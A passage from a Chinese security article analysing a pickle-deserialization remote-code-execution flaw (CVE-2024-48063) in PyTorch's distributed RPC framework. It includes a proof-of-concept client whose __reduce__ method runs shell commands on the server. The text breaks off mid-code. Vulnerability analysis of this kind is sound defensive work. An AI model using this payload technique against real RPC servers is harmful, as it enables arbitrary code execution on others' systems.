freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PyTorch库RPC框架反序列化RCE漏洞分析(CVE-2024-48063)
2024-11-05 21:39:57
所属地 四川省

前言

分析了pickle反序列化在PyTorch分布式RPC框架中导致的任意代码执行漏洞的成因

环境搭建及复现

  1. 使用conda创建虚拟环境

    image-20241105102706402.png

  2. 使用pip安装2.4.1版本的Pytorch

    image-20241105102740281.png

  3. 分别创建server.py和client.py

    server.py创建一个分布式的RPC服务,能够处理client的远程调用请求

    # server.py
    import torch
    import torch.distributed.rpc as rpc
    
    def run_server():
        # Initialize server-side RPC
        rpc.init_rpc("server", rank=0, world_size=2)
    
        # Wait for the client's remote call
        rpc.shutdown()
    
    if __name__ == "__main__":
        run_server()
    

    image-20241105102840555.png

    client.py发起了RPC通信,并定义了一个简单的神经网络模型MyModel,其中包含有反序列化结束时将会触发的__reduce__函数,且对于该方法并无过滤,从而触发了了恶意代码的执行

    # client.py
    import torch
    import torch.distributed.rpc as rpc
    from torch.distributed.nn.api.remote_module import RemoteModule
    import torch.nn as nn
    
    # Define a simple neural network model MyModel
    class MyModel(nn.Module):
        def __init__(self):
            super(MyModel, self).__init__()
            # A simple linear layer with input dimension 2 and output dimension 2
            self.fc = nn.Linear(2, 2)
    
        # Define the forward method
        def __reduce__(self):
            return (__import__('os').system, ("id;ls",))
    
    def run_client():
        # Initialize client-side RPC
        rpc.init_rpc("client", rank=1, world_size=2)
    
        # Create a remote module to run the model on the server side
        remote_model = RemoteModule(
            "server",  # Serve
# 网络安全 # web安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录